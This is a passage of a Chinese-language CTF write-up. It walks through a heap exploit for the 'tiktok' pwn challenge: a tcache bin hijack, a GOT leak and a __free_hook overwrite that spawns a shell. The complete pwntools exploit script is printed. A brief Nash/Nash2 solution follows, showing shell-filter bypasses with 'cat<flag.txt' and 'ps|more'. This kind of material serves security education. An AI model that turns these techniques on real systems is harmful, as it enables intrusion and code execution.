劫持Tcache Bin
我们发现Animal/blahblah.txt
将会申请0x660
大小的chunk
,而Animal/animal.txt
将会申请0x3B0
大小的chunk
。那么我们若先申请一个0x660
大小的chunk
,再申请一个0x3B0
大小的chunk
,然后依次释放,然后使用那个堆溢出漏洞,我们将可以直接劫持Tcache Bin
结构。
那么我们首先构造如下Payload
:
import_song(sh,'Animal/blahblah.txt') # 45
import_song(sh,'Animal/animal.txt') # 46
play_song(sh,45)
play_song(sh,46)
remove_song(sh,45)
remove_song(sh,46)
劫持songs
接下来我们不要忘了,在程序malloc
之后,会随即调用memset
函数进行chunk
的清空,这本是防止遗留数据被非法读取的保护逻辑,但在此处,反而可以成为我们利用的后门。若我们将Chunk 46
的fd
指针篡改为A
,当我们从Tcache
中取回Fake_chunk
时,程序将会擦除A
到A + 0x3B3
之间的所有数据。那么我们期望它擦除后恰好有一个song
呈现仅fd
和path
被擦除的状态。这其实很好计算 \mathbf{0x3B3} = 16 \times \mathbf{0x38} + 24 + \mathbf{0x18} + 3 若我们指定A
是songs[0].dir
,那么,songs[17]
就是符合条件的song
。
构造如下Payload
:
play_song(sh,44,-1,'\x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,44,-1,'\x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,43)
fake_songs = ......
play_song(sh,18,fake_songs)
fake_songs
的内容将会被整体写入songs
列表中。
劫持了songs
后续利用就比较常规了,只需要注意两个原则:
- 🚫禁止
free
掉一个fd
为0
的Chunk
,这会导致stdin
被关闭。 Tcache bin
的0x3C0
链表已被损坏,不要使用这个链表。
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
tiktok=ELF('./tiktok', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./tiktok")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./tiktok")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def import_song(sh,path):
sh.recvuntil('Choice: ')
sh.sendline('1')
sh.recvuntil('Please provide the entire file path.')
sh.send(path)
def list_playlist(sh):
sh.recvuntil('Choice: ')
sh.sendline('2')
def play_song(sh,index,size=None,content=None):
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.recvuntil('Choice: ')
sh.sendline(str(index))
if size:
sleep(0.5)
sh.sendline(str(size))
if content:
sleep(0.5)
sh.send(content)
def remove_song(sh,index):
sh.recvuntil('Choice: ')
sh.sendline('4')
sh.recvuntil('Choice: ')
sh.sendline(str(index))
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
for i in range(3,0x2E):
import_song(sh,'Animal/animal.txt')
import_song(sh,'Animal/'.ljust(0x18,'/'))
import_song(sh,'Animal/blahblah.txt') # 45
import_song(sh,'Animal/animal.txt') # 46
play_song(sh,45)
play_song(sh,46)
remove_song(sh,45)
remove_song(sh,46)
play_song(sh,44,-1,'\x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,43)
fake_songs = '\x00' * 8 + p64(0x404457) + p64(0)
fake_songs += 'A' * 0x18 # fake_path
fake_songs += p64(4) # fake_fd
fake_songs += p64(tiktok.got['puts']) # fake_dir
fake_songs += p64(tiktok.got['puts']) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(5) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0x404150) # fake_content
fake_songs += p64(0) + p64(0) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(6) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0x404150) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(0) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(0) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(0) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(10) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0x401050) # fake_content
play_song(sh,18,fake_songs)
list_playlist(sh)
puts_addr = 0
sh.recvuntil('2. ')
data = sh.recvuntil('-',drop=True)
for i in data[::-1]:
puts_addr = puts_addr << 8
puts_addr += ord(i)
libc.address = puts_addr - libc.symbols['puts']
success('The libc base address is ' + str(hex(libc.address)))
remove_song(sh,3)
remove_song(sh,4)
play_song(sh,5,0x8,p64(libc.symbols['__free_hook']))
play_song(sh,6,0x8,'/bin/sh')
play_song(sh,7,0x8,p64(libc.symbols['system']))
remove_song(sh,6)
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x05 [2020 DawgCTF 2020] Nash/Nash2
题目类型:Pwn
题目的逻辑十分简单,在Nash
中,程序限制了我们在shell
中使用空格,这里我们可以使用<
将我们的flag
文件重定向到命令中,即cat<flag.txt
。在Nash2
中,程序限制了我们在shell
中使用空格以及<
,那么我们可以使用ps|more
就可以进入more
的交互环境中,在那之后我们就可以使用!'sh' flag.txt
读取flag
文件。
0x06 参考链接
【原】PlaidCTF 2020 Writeups – Hatena
0 条评论